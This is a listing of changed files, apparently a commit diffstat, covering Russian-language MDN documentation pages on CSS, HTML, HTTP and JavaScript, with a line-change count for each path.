-rw-r--r--files/ru/web/css/@page/index.html4
-rw-r--r--files/ru/web/css/@viewport/index.html6
-rw-r--r--files/ru/web/css/_colon_-moz-focusring/index.html2
-rw-r--r--files/ru/web/css/_colon_-moz-only-whitespace/index.html2
-rw-r--r--files/ru/web/css/_colon_any-link/index.html2
-rw-r--r--files/ru/web/css/_colon_default/index.html2
-rw-r--r--files/ru/web/css/_colon_dir/index.html2
-rw-r--r--files/ru/web/css/_colon_disabled/index.html6
-rw-r--r--files/ru/web/css/_colon_enabled/index.html2
-rw-r--r--files/ru/web/css/_colon_first-child/index.html2
-rw-r--r--files/ru/web/css/_colon_focus-visible/index.html2
-rw-r--r--files/ru/web/css/_colon_focus/index.html2
-rw-r--r--files/ru/web/css/_colon_fullscreen/index.html4
-rw-r--r--files/ru/web/css/_colon_indeterminate/index.html4
-rw-r--r--files/ru/web/css/_colon_is/index.html4
-rw-r--r--files/ru/web/css/_colon_left/index.html2
-rw-r--r--files/ru/web/css/_colon_target/index.html4
-rw-r--r--files/ru/web/css/_colon_visited/index.html4
-rw-r--r--files/ru/web/css/_colon_where/index.html8
-rw-r--r--files/ru/web/css/_doublecolon_-moz-progress-bar/index.html4
-rw-r--r--files/ru/web/css/_doublecolon_slotted/index.html10
-rw-r--r--files/ru/web/css/adjacent_sibling_combinator/index.html4
-rw-r--r--files/ru/web/css/align-items/index.html8
-rw-r--r--files/ru/web/css/all/index.html4
-rw-r--r--files/ru/web/css/angle/index.html2
-rw-r--r--files/ru/web/css/animation-delay/index.html2
-rw-r--r--files/ru/web/css/animation-direction/index.html6
-rw-r--r--files/ru/web/css/animation-duration/index.html2
-rw-r--r--files/ru/web/css/animation-fill-mode/index.html16
-rw-r--r--files/ru/web/css/animation-iteration-count/index.html4
-rw-r--r--files/ru/web/css/animation-name/index.html4
-rw-r--r--files/ru/web/css/animation-play-state/index.html2
-rw-r--r--files/ru/web/css/animation-timing-function/index.html2
-rw-r--r--files/ru/web/css/appearance/index.html2
-rw-r--r--files/ru/web/css/at-rule/index.html10
-rw-r--r--files/ru/web/css/attribute_selectors/index.html10
-rw-r--r--files/ru/web/css/backdrop-filter/index.html4
-rw-r--r--files/ru/web/css/backface-visibility/index.html6
-rw-r--r--files/ru/web/css/background-attachment/index.html8
-rw-r--r--files/ru/web/css/background-blend-mode/index.html2
-rw-r--r--files/ru/web/css/background-clip/index.html2
-rw-r--r--files/ru/web/css/background-image/index.html6
-rw-r--r--files/ru/web/css/background-position-x/index.html4
-rw-r--r--files/ru/web/css/background-position/index.html6
-rw-r--r--files/ru/web/css/background-repeat/index.html2
-rw-r--r--files/ru/web/css/background-size/index.html12
-rw-r--r--files/ru/web/css/background/index.html6
-rw-r--r--files/ru/web/css/block-size/index.html6
-rw-r--r--files/ru/web/css/border-image-slice/index.html2
-rw-r--r--files/ru/web/css/border-radius/index.html6
-rw-r--r--files/ru/web/css/border-width/index.html2
-rw-r--r--files/ru/web/css/border/index.html2
-rw-r--r--files/ru/web/css/bottom/index.html2
-rw-r--r--files/ru/web/css/box-shadow/index.html2
-rw-r--r--files/ru/web/css/box-sizing/index.html2
-rw-r--r--files/ru/web/css/calc()/index.html2
-rw-r--r--files/ru/web/css/class_selectors/index.html2
-rw-r--r--files/ru/web/css/clear/index.html4
-rw-r--r--files/ru/web/css/clip-path/index.html6
-rw-r--r--files/ru/web/css/color_value/index.html90
-rw-r--r--files/ru/web/css/column-count/index.html2
-rw-r--r--files/ru/web/css/column-rule-color/index.html2
-rw-r--r--files/ru/web/css/column-rule-style/index.html2
-rw-r--r--files/ru/web/css/column-rule/index.html8
-rw-r--r--files/ru/web/css/column_combinator/index.html2
-rw-r--r--files/ru/web/css/containing_block/index.html8
-rw-r--r--files/ru/web/css/content/index.html16
-rw-r--r--files/ru/web/css/css_animations/detecting_css_animation_support/index.html6
-rw-r--r--files/ru/web/css/css_animations/tips/index.html8
-rw-r--r--files/ru/web/css/css_animations/using_css_animations/index.html22
-rw-r--r--files/ru/web/css/css_backgrounds_and_borders/using_multiple_backgrounds/index.html4
-rw-r--r--files/ru/web/css/css_basic_user_interface/using_url_values_for_the_cursor_property/index.html2
-rw-r--r--files/ru/web/css/css_box_alignment/box_alignment_in_flexbox/index.html12
-rw-r--r--files/ru/web/css/css_box_alignment/index.html16
-rw-r--r--files/ru/web/css/css_box_model/introduction_to_the_css_box_model/index.html8
-rw-r--r--files/ru/web/css/css_colors/color_picker_tool/index.html2
-rw-r--r--files/ru/web/css/css_columns/using_multi-column_layouts/index.html2
-rw-r--r--files/ru/web/css/css_flexible_box_layout/aligning_items_in_a_flex_container/index.html4
-rw-r--r--files/ru/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.html6
-rw-r--r--files/ru/web/css/css_flexible_box_layout/basic_concepts_of_flexbox/index.html16
-rw-r--r--files/ru/web/css/css_flexible_box_layout/mastering_wrapping_of_flex_items/index.html12
-rw-r--r--files/ru/web/css/css_flow_layout/index.html6
-rw-r--r--files/ru/web/css/css_flow_layout/intro_to_formatting_contexts/index.html6
-rw-r--r--files/ru/web/css/css_grid_layout/basic_concepts_of_grid_layout/index.html32
-rw-r--r--files/ru/web/css/css_grid_layout/box_alignment_in_css_grid_layout/index.html14
-rw-r--r--files/ru/web/css/css_grid_layout/css_grid_logical_values_and_writing_modes/index.html20
-rw-r--r--files/ru/web/css/css_grid_layout/grid_template_areas/index.html32
-rw-r--r--files/ru/web/css/css_grid_layout/index.html2
-rw-r--r--files/ru/web/css/css_grid_layout/layout_using_named_grid_lines/index.html28
-rw-r--r--files/ru/web/css/css_grid_layout/line-based_placement_with_css_grid/index.html28
-rw-r--r--files/ru/web/css/css_grid_layout/realizing_common_layouts_using_css_grid_layout/index.html14
-rw-r--r--files/ru/web/css/css_grid_layout/relationship_of_grid_layout/index.html34
-rw-r--r--files/ru/web/css/css_grid_layout/subgrid/index.html2
-rw-r--r--files/ru/web/css/css_lists_and_counters/using_css_counters/index.html34
-rw-r--r--files/ru/web/css/css_positioning/understanding_z_index/adding_z-index/index.html2
-rw-r--r--files/ru/web/css/css_positioning/understanding_z_index/index.html2
-rw-r--r--files/ru/web/css/css_positioning/understanding_z_index/the_stacking_context/index.html12
-rw-r--r--files/ru/web/css/css_scroll_snap/basic_concepts/index.html2
-rw-r--r--files/ru/web/css/css_selectors/index.html6
-rw-r--r--files/ru/web/css/css_transitions/using_css_transitions/index.html10
-rw-r--r--files/ru/web/css/cursor/index.html2
-rw-r--r--files/ru/web/css/descendant_combinator/index.html2
-rw-r--r--files/ru/web/css/display-listitem/index.html2
-rw-r--r--files/ru/web/css/display-outside/index.html6
-rw-r--r--files/ru/web/css/display/index.html8
-rw-r--r--files/ru/web/css/filter/index.html2
-rw-r--r--files/ru/web/css/flex-basis/index.html8
-rw-r--r--files/ru/web/css/flex-direction/index.html4
-rw-r--r--files/ru/web/css/flex-grow/index.html2
-rw-r--r--files/ru/web/css/flex-wrap/index.html2
-rw-r--r--files/ru/web/css/flex/index.html2
-rw-r--r--files/ru/web/css/float/index.html2
-rw-r--r--files/ru/web/css/font-family/index.html2
-rw-r--r--files/ru/web/css/font-variant-ligatures/index.html6
-rw-r--r--files/ru/web/css/font-weight/index.html8
-rw-r--r--files/ru/web/css/font/index.html2
-rw-r--r--files/ru/web/css/grid-area/index.html4
-rw-r--r--files/ru/web/css/grid-auto-flow/index.html4
-rw-r--r--files/ru/web/css/grid-row-start/index.html2
-rw-r--r--files/ru/web/css/grid-template-areas/index.html2
-rw-r--r--files/ru/web/css/grid-template-columns/index.html4
-rw-r--r--files/ru/web/css/grid-template-rows/index.html2
-rw-r--r--files/ru/web/css/grid/index.html6
-rw-r--r--files/ru/web/css/hanging-punctuation/index.html4
-rw-r--r--files/ru/web/css/hyphens/index.html2
-rw-r--r--files/ru/web/css/image-set()/index.html2
-rw-r--r--files/ru/web/css/index.html2
-rw-r--r--files/ru/web/css/inherit/index.html6
-rw-r--r--files/ru/web/css/initial/index.html2
-rw-r--r--files/ru/web/css/inset/index.html2
-rw-r--r--files/ru/web/css/integer/index.html2
-rw-r--r--files/ru/web/css/isolation/index.html4
-rw-r--r--files/ru/web/css/justify-content/index.html6
-rw-r--r--files/ru/web/css/justify-items/index.html16
-rw-r--r--files/ru/web/css/layout_cookbook/breadcrumb_navigation/index.html4
-rw-r--r--files/ru/web/css/layout_cookbook/index.html4
-rw-r--r--files/ru/web/css/layout_cookbook/split_navigation/index.html2
-rw-r--r--files/ru/web/css/layout_cookbook/sticky_footers/index.html2
-rw-r--r--files/ru/web/css/line-break/index.html2
-rw-r--r--files/ru/web/css/list-style-image/index.html2
-rw-r--r--files/ru/web/css/margin-inline-start/index.html2
-rw-r--r--files/ru/web/css/margin-left/index.html2
-rw-r--r--files/ru/web/css/margin-right/index.html2
-rw-r--r--files/ru/web/css/margin/index.html8
-rw-r--r--files/ru/web/css/max-block-size/index.html2
-rw-r--r--files/ru/web/css/media_queries/index.html4
-rw-r--r--files/ru/web/css/media_queries/testing_media_queries/index.html6
-rw-r--r--files/ru/web/css/media_queries/using_media_queries/index.html6
-rw-r--r--files/ru/web/css/object-fit/index.html6
-rw-r--r--files/ru/web/css/opacity/index.html8
-rw-r--r--files/ru/web/css/order/index.html2
-rw-r--r--files/ru/web/css/orphans/index.html2
-rw-r--r--files/ru/web/css/overflow-block/index.html2
-rw-r--r--files/ru/web/css/overflow-wrap/index.html4
-rw-r--r--files/ru/web/css/overflow/index.html2
-rw-r--r--files/ru/web/css/overscroll-behavior/index.html2
-rw-r--r--files/ru/web/css/padding-left/index.html2
-rw-r--r--files/ru/web/css/padding/index.html2
-rw-r--r--files/ru/web/css/paint-order/index.html2
-rw-r--r--files/ru/web/css/perspective/index.html2
-rw-r--r--files/ru/web/css/pointer-events/index.html2
-rw-r--r--files/ru/web/css/position/index.html22
-rw-r--r--files/ru/web/css/radial-gradient()/index.html12
-rw-r--r--files/ru/web/css/ratio/index.html2
-rw-r--r--files/ru/web/css/reference/index.html2
-rw-r--r--files/ru/web/css/repeating-linear-gradient()/index.html8
-rw-r--r--files/ru/web/css/selector_list/index.html8
-rw-r--r--files/ru/web/css/shorthand_properties/index.html2
-rw-r--r--files/ru/web/css/specificity/index.html18
-rw-r--r--files/ru/web/css/syntax/index.html8
-rw-r--r--files/ru/web/css/time/index.html4
-rw-r--r--files/ru/web/css/touch-action/index.html2
-rw-r--r--files/ru/web/css/transform-function/rotate3d()/index.html2
-rw-r--r--files/ru/web/css/transform-function/scale3d()/index.html2
-rw-r--r--files/ru/web/css/transform-function/skew()/index.html8
-rw-r--r--files/ru/web/css/transform-style/index.html2
-rw-r--r--files/ru/web/css/transform/index.html6
-rw-r--r--files/ru/web/css/transition/index.html4
-rw-r--r--files/ru/web/css/universal_selectors/index.html8
-rw-r--r--files/ru/web/css/used_value/index.html2
-rw-r--r--files/ru/web/css/user-select/index.html4
-rw-r--r--files/ru/web/css/using_css_custom_properties/index.html4
-rw-r--r--files/ru/web/css/vertical-align/index.html6
-rw-r--r--files/ru/web/css/visibility/index.html2
-rw-r--r--files/ru/web/css/visual_formatting_model/index.html2
-rw-r--r--files/ru/web/css/white-space/index.html2
-rw-r--r--files/ru/web/css/will-change/index.html8
-rw-r--r--files/ru/web/css/word-spacing/index.html6
-rw-r--r--files/ru/web/events/index.html16
-rw-r--r--files/ru/web/guide/ajax/getting_started/index.html20
-rw-r--r--files/ru/web/guide/ajax/index.html2
-rw-r--r--files/ru/web/guide/audio_and_video_delivery/adding_captions_and_subtitles_to_html5_video/index.html14
-rw-r--r--files/ru/web/guide/audio_and_video_delivery/buffering_seeking_time_ranges/index.html2
-rw-r--r--files/ru/web/guide/css/block_formatting_context/index.html2
-rw-r--r--files/ru/web/guide/events/event_handlers/index.html2
-rw-r--r--files/ru/web/guide/events/index.html8
-rw-r--r--files/ru/web/guide/events/media_events/index.html8
-rw-r--r--files/ru/web/guide/events/overview_of_events_and_handlers/index.html14
-rw-r--r--files/ru/web/guide/graphics/index.html2
-rw-r--r--files/ru/web/guide/html/content_categories/index.html18
-rw-r--r--files/ru/web/guide/html/editable_content/index.html12
-rw-r--r--files/ru/web/guide/html/html5/index.html8
-rw-r--r--files/ru/web/guide/html/html5/introduction_to_html5/index.html2
-rw-r--r--files/ru/web/guide/html/using_html_sections_and_outlines/index.html44
-rw-r--r--files/ru/web/guide/index.html2
-rw-r--r--files/ru/web/guide/mobile/index.html6
-rw-r--r--files/ru/web/guide/parsing_and_serializing_xml/index.html10
-rw-r--r--files/ru/web/guide/user_input_methods/index.html2
-rw-r--r--files/ru/web/html/applying_color/index.html46
-rw-r--r--files/ru/web/html/attributes/crossorigin/index.html6
-rw-r--r--files/ru/web/html/attributes/index.html4
-rw-r--r--files/ru/web/html/block-level_elements/index.html2
-rw-r--r--files/ru/web/html/cors_enabled_image/index.html4
-rw-r--r--files/ru/web/html/element/a/index.html6
-rw-r--r--files/ru/web/html/element/abbr/index.html2
-rw-r--r--files/ru/web/html/element/acronym/index.html2
-rw-r--r--files/ru/web/html/element/address/index.html4
-rw-r--r--files/ru/web/html/element/applet/index.html2
-rw-r--r--files/ru/web/html/element/area/index.html10
-rw-r--r--files/ru/web/html/element/article/index.html8
-rw-r--r--files/ru/web/html/element/aside/index.html8
-rw-r--r--files/ru/web/html/element/audio/index.html16
-rw-r--r--files/ru/web/html/element/b/index.html2
-rw-r--r--files/ru/web/html/element/bdi/index.html2
-rw-r--r--files/ru/web/html/element/blockquote/index.html2
-rw-r--r--files/ru/web/html/element/body/index.html12
-rw-r--r--files/ru/web/html/element/br/index.html2
-rw-r--r--files/ru/web/html/element/button/index.html16
-rw-r--r--files/ru/web/html/element/caption/index.html6
-rw-r--r--files/ru/web/html/element/cite/index.html4
-rw-r--r--files/ru/web/html/element/col/index.html2
-rw-r--r--files/ru/web/html/element/data/index.html2
-rw-r--r--files/ru/web/html/element/datalist/index.html2
-rw-r--r--files/ru/web/html/element/dd/index.html2
-rw-r--r--files/ru/web/html/element/del/index.html10
-rw-r--r--files/ru/web/html/element/details/index.html2
-rw-r--r--files/ru/web/html/element/dfn/index.html16
-rw-r--r--files/ru/web/html/element/dialog/index.html2
-rw-r--r--files/ru/web/html/element/div/index.html8
-rw-r--r--files/ru/web/html/element/dl/index.html4
-rw-r--r--files/ru/web/html/element/dt/index.html4
-rw-r--r--files/ru/web/html/element/em/index.html14
-rw-r--r--files/ru/web/html/element/embed/index.html8
-rw-r--r--files/ru/web/html/element/fieldset/index.html6
-rw-r--r--files/ru/web/html/element/figcaption/index.html2
-rw-r--r--files/ru/web/html/element/figure/index.html2
-rw-r--r--files/ru/web/html/element/font/index.html4
-rw-r--r--files/ru/web/html/element/footer/index.html8
-rw-r--r--files/ru/web/html/element/form/index.html4
-rw-r--r--files/ru/web/html/element/head/index.html8
-rw-r--r--files/ru/web/html/element/header/index.html10
-rw-r--r--files/ru/web/html/element/heading_elements/index.html10
-rw-r--r--files/ru/web/html/element/hgroup/index.html2
-rw-r--r--files/ru/web/html/element/hr/index.html6
-rw-r--r--files/ru/web/html/element/html/index.html8
-rw-r--r--files/ru/web/html/element/img/index.html30
-rw-r--r--files/ru/web/html/element/index.html2
-rw-r--r--files/ru/web/html/element/input/button/index.html2
-rw-r--r--files/ru/web/html/element/input/color/index.html10
-rw-r--r--files/ru/web/html/element/input/date/index.html4
-rw-r--r--files/ru/web/html/element/input/datetime-local/index.html8
-rw-r--r--files/ru/web/html/element/input/image/index.html4
-rw-r--r--files/ru/web/html/element/input/index.html12
-rw-r--r--files/ru/web/html/element/input/number/index.html2
-rw-r--r--files/ru/web/html/element/input/password/index.html26
-rw-r--r--files/ru/web/html/element/input/radio/index.html4
-rw-r--r--files/ru/web/html/element/input/range/index.html32
-rw-r--r--files/ru/web/html/element/input/search/index.html2
-rw-r--r--files/ru/web/html/element/input/tel/index.html2
-rw-r--r--files/ru/web/html/element/ins/index.html4
-rw-r--r--files/ru/web/html/element/label/index.html8
-rw-r--r--files/ru/web/html/element/li/index.html6
-rw-r--r--files/ru/web/html/element/link/index.html28
-rw-r--r--files/ru/web/html/element/main/index.html14
-rw-r--r--files/ru/web/html/element/map/index.html8
-rw-r--r--files/ru/web/html/element/mark/index.html8
-rw-r--r--files/ru/web/html/element/marquee/index.html12
-rw-r--r--files/ru/web/html/element/menu/index.html6
-rw-r--r--files/ru/web/html/element/meta/index.html26
-rw-r--r--files/ru/web/html/element/meter/index.html12
-rw-r--r--files/ru/web/html/element/nav/index.html10
-rw-r--r--files/ru/web/html/element/noscript/index.html2
-rw-r--r--files/ru/web/html/element/ol/index.html2
-rw-r--r--files/ru/web/html/element/option/index.html10
-rw-r--r--files/ru/web/html/element/output/index.html6
-rw-r--r--files/ru/web/html/element/p/index.html10
-rw-r--r--files/ru/web/html/element/pre/index.html10
-rw-r--r--files/ru/web/html/element/progress/index.html10
-rw-r--r--files/ru/web/html/element/ruby/index.html4
-rw-r--r--files/ru/web/html/element/script/index.html2
-rw-r--r--files/ru/web/html/element/section/index.html10
-rw-r--r--files/ru/web/html/element/select/index.html2
-rw-r--r--files/ru/web/html/element/slot/index.html6
-rw-r--r--files/ru/web/html/element/span/index.html8
-rw-r--r--files/ru/web/html/element/strong/index.html20
-rw-r--r--files/ru/web/html/element/td/index.html10
-rw-r--r--files/ru/web/html/element/template/index.html4
-rw-r--r--files/ru/web/html/element/tfoot/index.html8
-rw-r--r--files/ru/web/html/element/title/index.html10
-rw-r--r--files/ru/web/html/element/track/index.html4
-rw-r--r--files/ru/web/html/element/u/index.html2
-rw-r--r--files/ru/web/html/element/video/index.html12
-rw-r--r--files/ru/web/html/element/wbr/index.html10
-rw-r--r--files/ru/web/html/global_attributes/accesskey/index.html2
-rw-r--r--files/ru/web/html/global_attributes/class/index.html2
-rw-r--r--files/ru/web/html/global_attributes/contenteditable/index.html2
-rw-r--r--files/ru/web/html/global_attributes/data-_star_/index.html2
-rw-r--r--files/ru/web/html/global_attributes/id/index.html2
-rw-r--r--files/ru/web/html/global_attributes/index.html14
-rw-r--r--files/ru/web/html/global_attributes/inputmode/index.html2
-rw-r--r--files/ru/web/html/global_attributes/is/index.html2
-rw-r--r--files/ru/web/html/global_attributes/lang/index.html8
-rw-r--r--files/ru/web/html/index.html18
-rw-r--r--files/ru/web/html/inline_elements/index.html2
-rw-r--r--files/ru/web/html/using_the_application_cache/index.html4
-rw-r--r--files/ru/web/http/authentication/index.html6
-rw-r--r--files/ru/web/http/basics_of_http/identifying_resources_on_the_web/index.html4
-rw-r--r--files/ru/web/http/basics_of_http/index.html4
-rw-r--r--files/ru/web/http/basics_of_http/mime_types/common_types/index.html2
-rw-r--r--files/ru/web/http/caching/index.html30
-rw-r--r--files/ru/web/http/connection_management_in_http_1.x/index.html26
-rw-r--r--files/ru/web/http/content_negotiation/index.html12
-rw-r--r--files/ru/web/http/content_negotiation/list_of_default_accept_values/index.html10
-rw-r--r--files/ru/web/http/cookies/index.html26
-rw-r--r--files/ru/web/http/cors/errors/corsalloworiginnotmatchingorigin/index.html2
-rw-r--r--files/ru/web/http/cors/errors/corsdisabled/index.html4
-rw-r--r--files/ru/web/http/cors/errors/corsmissingalloworigin/index.html4
-rw-r--r--files/ru/web/http/cors/index.html46
-rw-r--r--files/ru/web/http/csp/index.html36
-rw-r--r--files/ru/web/http/feature_policy/index.html4
-rw-r--r--files/ru/web/http/feature_policy/using_feature_policy/index.html8
-rw-r--r--files/ru/web/http/headers/accept-charset/index.html4
-rw-r--r--files/ru/web/http/headers/accept-language/index.html6
-rw-r--r--files/ru/web/http/headers/accept-patch/index.html2
-rw-r--r--files/ru/web/http/headers/accept/index.html4
-rw-r--r--files/ru/web/http/headers/access-control-allow-headers/index.html4
-rw-r--r--files/ru/web/http/headers/access-control-allow-methods/index.html4
-rw-r--r--files/ru/web/http/headers/access-control-allow-origin/index.html4
-rw-r--r--files/ru/web/http/headers/access-control-max-age/index.html2
-rw-r--r--files/ru/web/http/headers/authorization/index.html6
-rw-r--r--files/ru/web/http/headers/cache-control/index.html2
-rw-r--r--files/ru/web/http/headers/connection/index.html4
-rw-r--r--files/ru/web/http/headers/content-disposition/index.html2
-rw-r--r--files/ru/web/http/headers/content-encoding/index.html2
-rw-r--r--files/ru/web/http/headers/content-language/index.html2
-rw-r--r--files/ru/web/http/headers/date/index.html10
-rw-r--r--files/ru/web/http/headers/etag/index.html6
-rw-r--r--files/ru/web/http/headers/expect/index.html2
-rw-r--r--files/ru/web/http/headers/expires/index.html2
-rw-r--r--files/ru/web/http/headers/if-match/index.html6
-rw-r--r--files/ru/web/http/headers/if-modified-since/index.html4
-rw-r--r--files/ru/web/http/headers/if-unmodified-since/index.html6
-rw-r--r--files/ru/web/http/headers/index.html6
-rw-r--r--files/ru/web/http/headers/last-modified/index.html2
-rw-r--r--files/ru/web/http/headers/pragma/index.html6
-rw-r--r--files/ru/web/http/headers/referer/index.html10
-rw-r--r--files/ru/web/http/headers/retry-after/index.html4
-rw-r--r--files/ru/web/http/headers/set-cookie/index.html14
-rw-r--r--files/ru/web/http/headers/strict-transport-security/index.html8
-rw-r--r--files/ru/web/http/headers/vary/index.html2
-rw-r--r--files/ru/web/http/headers/x-content-type-options/index.html2
-rw-r--r--files/ru/web/http/headers/x-forwarded-for/index.html2
-rw-r--r--files/ru/web/http/headers/x-xss-protection/index.html2
-rw-r--r--files/ru/web/http/index.html4
-rw-r--r--files/ru/web/http/messages/index.html10
-rw-r--r--files/ru/web/http/methods/connect/index.html2
-rw-r--r--files/ru/web/http/methods/delete/index.html2
-rw-r--r--files/ru/web/http/methods/options/index.html4
-rw-r--r--files/ru/web/http/methods/patch/index.html2
-rw-r--r--files/ru/web/http/methods/post/index.html6
-rw-r--r--files/ru/web/http/methods/put/index.html4
-rw-r--r--files/ru/web/http/overview/index.html24
-rw-r--r--files/ru/web/http/redirections/index.html26
-rw-r--r--files/ru/web/http/session/index.html14
-rw-r--r--files/ru/web/http/status/100/index.html2
-rw-r--r--files/ru/web/http/status/200/index.html4
-rw-r--r--files/ru/web/http/status/201/index.html2
-rw-r--r--files/ru/web/http/status/202/index.html2
-rw-r--r--files/ru/web/http/status/203/index.html2
-rw-r--r--files/ru/web/http/status/204/index.html4
-rw-r--r--files/ru/web/http/status/206/index.html2
-rw-r--r--files/ru/web/http/status/301/index.html4
-rw-r--r--files/ru/web/http/status/302/index.html4
-rw-r--r--files/ru/web/http/status/307/index.html4
-rw-r--r--files/ru/web/http/status/308/index.html4
-rw-r--r--files/ru/web/http/status/401/index.html2
-rw-r--r--files/ru/web/http/status/402/index.html2
-rw-r--r--files/ru/web/http/status/403/index.html2
-rw-r--r--files/ru/web/http/status/405/index.html2
-rw-r--r--files/ru/web/http/status/406/index.html4
-rw-r--r--files/ru/web/http/status/407/index.html2
-rw-r--r--files/ru/web/http/status/408/index.html2
-rw-r--r--files/ru/web/http/status/411/index.html2
-rw-r--r--files/ru/web/http/status/412/index.html2
-rw-r--r--files/ru/web/http/status/413/index.html2
-rw-r--r--files/ru/web/http/status/416/index.html2
-rw-r--r--files/ru/web/http/status/425/index.html2
-rw-r--r--files/ru/web/http/status/429/index.html2
-rw-r--r--files/ru/web/http/status/431/index.html2
-rw-r--r--files/ru/web/http/status/451/index.html2
-rw-r--r--files/ru/web/http/status/500/index.html2
-rw-r--r--files/ru/web/http/status/511/index.html4
-rw-r--r--files/ru/web/http/status/index.html22
-rw-r--r--files/ru/web/javascript/a_re-introduction_to_javascript/index.html8
-rw-r--r--files/ru/web/javascript/about_javascript/index.html8
-rw-r--r--files/ru/web/javascript/closures/index.html26
-rw-r--r--files/ru/web/javascript/data_structures/index.html8
-rw-r--r--files/ru/web/javascript/equality_comparisons_and_sameness/index.html10
-rw-r--r--files/ru/web/javascript/eventloop/index.html10
-rw-r--r--files/ru/web/javascript/guide/control_flow_and_error_handling/index.html20
-rw-r--r--files/ru/web/javascript/guide/details_of_the_object_model/index.html62
-rw-r--r--files/ru/web/javascript/guide/expressions_and_operators/index.html28
-rw-r--r--files/ru/web/javascript/guide/functions/index.html30
-rw-r--r--files/ru/web/javascript/guide/grammar_and_types/index.html38
-rw-r--r--files/ru/web/javascript/guide/index.html2
-rw-r--r--files/ru/web/javascript/guide/indexed_collections/index.html34
-rw-r--r--files/ru/web/javascript/guide/introduction/index.html16
-rw-r--r--files/ru/web/javascript/guide/iterators_and_generators/index.html12
-rw-r--r--files/ru/web/javascript/guide/meta_programming/index.html18
-rw-r--r--files/ru/web/javascript/guide/numbers_and_dates/index.html20
-rw-r--r--files/ru/web/javascript/guide/regular_expressions/assertions/index.html8
-rw-r--r--files/ru/web/javascript/guide/regular_expressions/character_classes/index.html34
-rw-r--r--files/ru/web/javascript/guide/regular_expressions/index.html28
-rw-r--r--files/ru/web/javascript/guide/text_formatting/index.html16
-rw-r--r--files/ru/web/javascript/guide/using_promises/index.html24
-rw-r--r--files/ru/web/javascript/guide/working_with_objects/index.html46
-rw-r--r--files/ru/web/javascript/index.html4
-rw-r--r--files/ru/web/javascript/inheritance_and_the_prototype_chain/index.html4
-rw-r--r--files/ru/web/javascript/javascript_technologies_overview/index.html14
-rw-r--r--files/ru/web/javascript/language_resources/index.html6
-rw-r--r--files/ru/web/javascript/memory_management/index.html2
-rw-r--r--files/ru/web/javascript/reference/classes/constructor/index.html8
-rw-r--r--files/ru/web/javascript/reference/classes/extends/index.html2
-rw-r--r--files/ru/web/javascript/reference/classes/index.html26
-rw-r--r--files/ru/web/javascript/reference/classes/private_class_fields/index.html4
-rw-r--r--files/ru/web/javascript/reference/classes/public_class_fields/index.html2
-rw-r--r--files/ru/web/javascript/reference/classes/static/index.html2
-rw-r--r--files/ru/web/javascript/reference/errors/already_has_pragma/index.html2
-rw-r--r--files/ru/web/javascript/reference/errors/bad_radix/index.html2
-rw-r--r--files/ru/web/javascript/reference/errors/bad_regexp_flag/index.html2
-rw-r--r--files/ru/web/javascript/reference/errors/bad_return_or_yield/index.html2
-rw-r--r--files/ru/web/javascript/reference/errors/called_on_incompatible_type/index.html2
-rw-r--r--files/ru/web/javascript/reference/errors/cant_access_lexical_declaration_before_init/index.html2
-rw-r--r--files/ru/web/javascript/reference/errors/cant_access_property/index.html20
-rw-r--r--files/ru/web/javascript/reference/errors/cant_delete/index.html4
-rw-r--r--files/ru/web/javascript/reference/errors/cant_redefine_property/index.html8
-rw-r--r--files/ru/web/javascript/reference/errors/cyclic_object_value/index.html2
-rw-r--r--files/ru/web/javascript/reference/errors/dead_object/index.html12
-rw-r--r--files/ru/web/javascript/reference/errors/delete_in_strict_mode/index.html6
-rw-r--r--files/ru/web/javascript/reference/errors/deprecated_expression_closures/index.html4
-rw-r--r--files/ru/web/javascript/reference/errors/deprecated_string_generics/index.html6
-rw-r--r--files/ru/web/javascript/reference/errors/deprecated_tolocaleformat/index.html4
-rw-r--r--files/ru/web/javascript/reference/errors/equal_as_assign/index.html2
-rw-r--r--files/ru/web/javascript/reference/errors/for-each-in_loops_are_deprecated/index.html4
-rw-r--r--files/ru/web/javascript/reference/errors/getter_only/index.html6
-rw-r--r--files/ru/web/javascript/reference/errors/identifier_after_number/index.html4
-rw-r--r--files/ru/web/javascript/reference/errors/in_operator_no_object/index.html4
-rw-r--r--files/ru/web/javascript/reference/errors/index.html4
-rw-r--r--files/ru/web/javascript/reference/errors/invalid_const_assignment/index.html4
-rw-r--r--files/ru/web/javascript/reference/errors/invalid_for-in_initializer/index.html4
-rw-r--r--files/ru/web/javascript/reference/errors/is_not_iterable/index.html6
-rw-r--r--files/ru/web/javascript/reference/errors/malformed_formal_parameter/index.html2
-rw-r--r--files/ru/web/javascript/reference/errors/missing_bracket_after_list/index.html2
-rw-r--r--files/ru/web/javascript/reference/errors/missing_colon_after_property_id/index.html2
-rw-r--r--files/ru/web/javascript/reference/errors/missing_curly_after_function_body/index.html4
-rw-r--r--files/ru/web/javascript/reference/errors/missing_parenthesis_after_argument_list/index.html2
-rw-r--r--files/ru/web/javascript/reference/errors/no_variable_name/index.html2
-rw-r--r--files/ru/web/javascript/reference/errors/non_configurable_array_element/index.html10
-rw-r--r--files/ru/web/javascript/reference/errors/not_a_codepoint/index.html2
-rw-r--r--files/ru/web/javascript/reference/errors/not_a_constructor/index.html2
-rw-r--r--files/ru/web/javascript/reference/errors/not_defined/index.html4
-rw-r--r--files/ru/web/javascript/reference/errors/read-only/index.html4
-rw-r--r--files/ru/web/javascript/reference/errors/redeclared_parameter/index.html4
-rw-r--r--files/ru/web/javascript/reference/errors/reserved_identifier/index.html2
-rw-r--r--files/ru/web/javascript/reference/errors/strict_non_simple_params/index.html4
-rw-r--r--files/ru/web/javascript/reference/errors/unexpected_token/index.html4
-rw-r--r--files/ru/web/javascript/reference/errors/unexpected_type/index.html4
-rw-r--r--files/ru/web/javascript/reference/errors/unnamed_function_statement/index.html4
-rw-r--r--files/ru/web/javascript/reference/errors/unterminated_string_literal/index.html6
-rw-r--r--files/ru/web/javascript/reference/errors/var_hides_argument/index.html2
-rw-r--r--files/ru/web/javascript/reference/functions/arguments/callee/index.html2
-rw-r--r--files/ru/web/javascript/reference/functions/arguments/index.html8
-rw-r--r--files/ru/web/javascript/reference/functions/arrow_functions/index.html4
-rw-r--r--files/ru/web/javascript/reference/functions/default_parameters/index.html10
-rw-r--r--files/ru/web/javascript/reference/functions/get/index.html8
-rw-r--r--files/ru/web/javascript/reference/functions/method_definitions/index.html2
-rw-r--r--files/ru/web/javascript/reference/functions/set/index.html6
-rw-r--r--files/ru/web/javascript/reference/global_objects/array/concat/index.html2
-rw-r--r--files/ru/web/javascript/reference/global_objects/array/every/index.html2
-rw-r--r--files/ru/web/javascript/reference/global_objects/array/fill/index.html2
